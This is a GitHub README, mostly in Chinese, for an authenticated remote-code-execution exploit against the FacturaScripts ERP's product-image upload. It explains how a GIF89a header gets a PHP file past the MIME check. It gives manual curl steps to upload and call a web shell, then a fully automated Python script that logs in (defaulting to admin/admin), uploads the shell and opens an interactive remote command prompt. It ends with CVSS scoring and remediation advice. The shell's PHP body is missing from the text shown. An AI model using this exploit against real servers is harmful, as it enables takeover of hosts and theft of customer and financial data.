guzrex/FacturaScripts-RCE-Exploit
GitHub: guzrex/FacturaScripts-RCE-Exploit
一款针对 FacturaScripts ERP 系统认证后文件上传 RCE 漏洞的全自动利用工具,通过绕过 MIME 验证上传恶意 PHP 文件实现交互式命令执行。
Stars: 0 | Forks: 0
# FacturaScripts — 通过 unrestricted 文件上传实现认证 RCE
## 摘要
FacturaScripts 的产品图片上传功能中存在一个认证远程代码执行 (RCE) 漏洞。拥有有效凭据的攻击者可以上传伪装成 GIF 图片的 PHP 文件(使用 `GIF89a` 魔数头),从而绕过 MIME 类型验证。上传的文件存储在 Web 可访问的目录中,可以通过直接 HTTP 请求远程执行。
## 漏洞详情
**文件:** `Core/Lib/ExtendedController/ProductImagesTrait.php`
**方法:** `addImageAction()`
### 漏洞代码
```
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
```
### 根本原因
- 验证仅检查 MIME 类型字符串是否包含 `"image/"`。
- 在 PHP 文件前添加 `GIF89a` 魔数会导致系统将其误识别为 `image/gif`。
- 文件保存时使用了**客户端提供的文件名**,保留了 `.php` 扩展名。
- 目标目录 (`/MyFiles/`) 是 Web 可访问的,允许直接远程执行。
### 文件存储路径
上传的文件存储在:
```
/MyFiles/YYYY/MM/.php
```
这允许通过以下方式直接执行:
```
http://target/MyFiles/2026/03/2.php?cmd=id
```
## 影响
成功利用该漏洞允许经过认证的攻击者:
- 在服务器上执行任意命令
- 完全控制主机系统
- 访问敏感 ERP 数据(客户、发票、财务记录)
- 修改或删除服务器上的文件
- 在内部网络中进行横向移动
## 概念验证(手动)
### 步骤 1 — 创建恶意文件
```
cat > shell.jpg.php << 'EOF'
GIF89a
EOF
```
### 步骤 2 — 认证
登录应用程序并从浏览器 Cookie 中提取 `PHPSESSID` 值。
### 步骤 3 — 获取 CSRF Token
```
curl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken" value="[^"]*"' | cut -d'"' -f4
```
### 步骤 4 — 上传 Shell
```
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[]=@shell.jpg.php"
```
### 步骤 5 — 执行命令
```
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
```
## 自动化利用脚本 (Python)
```
#!/usr/bin/env python3
"""
FacturaScripts RCE Exploit - Fully Automated
Author: Abdullah Alwasabei / Guzrex
Description: Automatically logs in, enumerates products, extracts tokens, and uploads shell
Usage: python3 exploit.py http://target.com -u admin -p admin
"""
import requests
import sys
import os
import re
import time
import argparse
from bs4 import BeautifulSoup
class FacturaScriptsExploit:
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.session.headers.update({'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'})
self.token = None
self.product_code = None
self.product_id = None
self.shell_url = None
self.year = time.strftime("%Y")
self.month = time.strftime("%m")
def login(self):
"""Automatically login and get session"""
print("[*] Attempting to login...")
try:
login_page = self.session.get(f"{self.base_url}/login")
soup = BeautifulSoup(login_page.text, 'html.parser')
token_input = soup.find('input', {'name': 'multireqtoken'})
if not token_input:
print("[-] Could not find login token")
return False
csrf_token = token_input.get('value')
login_data = {
'multireqtoken': csrf_token,
'action': 'login',
'fsNick': self.username,
'fsPassword': self.password
}
response = self.session.post(f"{self.base_url}/login", data=login_data)
if response.status_code == 200 and 'Dashboard' in response.text:
print("[+] Login successful!")
return True
else:
print("[-] Login failed - check credentials")
return False
except Exception as e:
print(f"[-] Login error: {e}")
return False
def enumerate_products(self):
print("[*] Enumerating products...")
try:
response = self.session.get(f"{self.base_url}/ListProducto")
soup = BeautifulSoup(response.text, 'html.parser')
product_links = []
for link in soup.find_all('a', href=True):
if 'EditProducto?code=' in link['href']:
code = link['href'].split('code=')[-1]
if code and code not in product_links:
product_links.append(code)
if product_links:
print(f"[+] Found {len(product_links)} products")
for i, code in enumerate(product_links[:5]):
print(f" {i+1}. {code}")
self.product_code = product_links[0]
print(f"[+] Using product: {self.product_code}")
return True
else:
self.product_code = "CONTA621"
return True
except Exception as e:
self.product_code = "CONTA621"
return True
def get_product_id(self):
print(f"[*] Getting product ID for {self.product_code}...")
try:
response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}")
soup = BeautifulSoup(response.text, 'html.parser')
id_input = soup.find('input', {'name': 'idproducto'})
if id_input and id_input.get('value'):
self.product_id = id_input.get('value')
print(f"[+] Product ID: {self.product_id}")
return True
self.product_id = "3"
print(f"[+] Using default product ID: {self.product_id}")
return True
except Exception as e:
self.product_id = "3"
return True
def get_upload_token(self):
print("[*] Getting upload token...")
try:
response = self.session.get(f"{self.base_url}/EditProducto?code={self.product_code}")
token_pattern = r']*name="multireqtoken"[^>]*value="([^"]+)"'
token_match = re.search(token_pattern, response.text)
if token_match:
self.token = token_match.group(1)
print(f"[+] Got upload token")
return True
return False
except Exception as e:
return False
def create_shell(self, output_file):
shell_content = '''GIF89a
'''
with open(output_file, 'w') as f:
f.write(shell_content)
return output_file
def upload_shell(self, shell_file):
print("[*] Uploading shell...")
upload_data = {
'multireqtoken': self.token,
'action': 'add-image',
'activetab': 'EditProductoImagen',
'idproducto': self.product_id,
'referencia': ''
}
files = {
'newfiles[]': (os.path.basename(shell_file), open(shell_file, 'rb'), 'application/x-php')
}
try:
response = self.session.post(
f"{self.base_url}/EditProducto?code={self.product_code}",
data=upload_data,
files=files
)
if "images added correctly" in response.text:
print("[+] Shell uploaded successfully!")
return True
return False
except Exception as e:
return False
def find_shell(self):
print("[*] Locating uploaded shell...")
for num in range(1, 10):
test_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/{num}.php"
try:
response = self.session.get(f"{test_url}?cmd=echo test")
if "SHELL_UPLOADED" in response.text:
self.shell_url = test_url
return test_url
except:
pass
self.shell_url = f"{self.base_url}/MyFiles/{self.year}/{self.month}/1.php"
return self.shell_url
def execute_command(self, command):
try:
response = self.session.get(f"{self.shell_url}?cmd={command}")
output = response.text
output = output.replace("GIF89a", "").replace("SHELL_UPLOADED!", "").strip()
return output
except Exception as e:
return str(e)
def interactive_shell(self):
print("\n==================================================")
print("INTERACTIVE SHELL READY")
print("Type 'exit' to quit\n")
while True:
try:
cmd = input("$ ").strip()
if cmd.lower() == 'exit':
break
if cmd:
print(self.execute_command(cmd))
except KeyboardInterrupt:
break
def run(self):
print("="*60)
print("FacturaScripts RCE Exploit - Fully Automated")
print("="*60)
if not self.login():
return
self.enumerate_products()
self.get_product_id()
if not self.get_upload_token():
return
shell_file = self.create_shell(f"shell_{int(time.time())}.php")
if not self.upload_shell(shell_file):
return
self.find_shell()
print(f"[+] Shell URL: {self.shell_url}")
result = self.execute_command("id")
print(f"[+] Command output: {result}")
self.interactive_shell()
def main():
parser = argparse.ArgumentParser(description='FacturaScripts RCE Exploit')
parser.add_argument('url', help='Target URL')
parser.add_argument('-u', '--username', default='admin', help='Username')
parser.add_argument('-p', '--password', default='admin', help='Password')
args = parser.parse_args()
exploit = FacturaScriptsExploit(args.url, args.username, args.password)
exploit.run()
if __name__ == "__main__":
main()
```
## CVSS v3.1
| 字段 | 值 |
|--------------|-------|
| **Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` |
| **Base Score** | **10.0 (Critical)** |
## CWE
| ID | 描述 |
|----|-------------|
| [CWE-434](https://cwe.mitre.org/data/definitions/434.html) | Unrestricted Upload of File with Dangerous Type |
| [CWE-94](https://cwe.mitre.org/data/definitions/94.html) | Improper Control of Generation of Code ('Code Injection') |
## 受影响产品
| 字段 | 值 |
|-------------------|-------|
| **Ecosystem** | Packagist |
| **Package** | `facturascripts/facturascripts` |
| **Affected** | `<= 2025.81` |
| **Patched** | Not yet patched |
## 修复建议
1. **验证文件扩展名** — 无论 MIME 类型如何,都应拒绝文件名以 `.php`、`.phtml`、`.phar` 或任何其他服务器可执行扩展名结尾的上传。
2. **服务端重命名文件** — 切勿将 `getClientOriginalName()` 用于存储的文件名。应分配一个基于 UUID 的名称,并使用经过验证的安全扩展名。
3. **将上传内容存储在 Web 根目录之外** — 通过控制器以流式传输方式提供文件,而不是通过 URL 直接暴露上传目录。
4. **严格验证文件内容** — 使用如 PHP 的 `fileinfo` 扩展之类的库来结合验证魔数、MIME 类型和扩展名 —— 切勿仅依赖单一检查。
## 致谢
**发现者:** Abdullah Alwasabei / Guzrex
标签:CISA项目, ERP系统, FacturaScripts, PHP安全, PoC, RCE, Splunk, WebShell, 文件上传漏洞, 暴力破解, 未限制文件上传, 绕过MIME验证, 编程工具, 网络安全, 认证后漏洞, 足迹探测, 远程代码执行, 逆向工具, 隐私保护, 魔术头绕过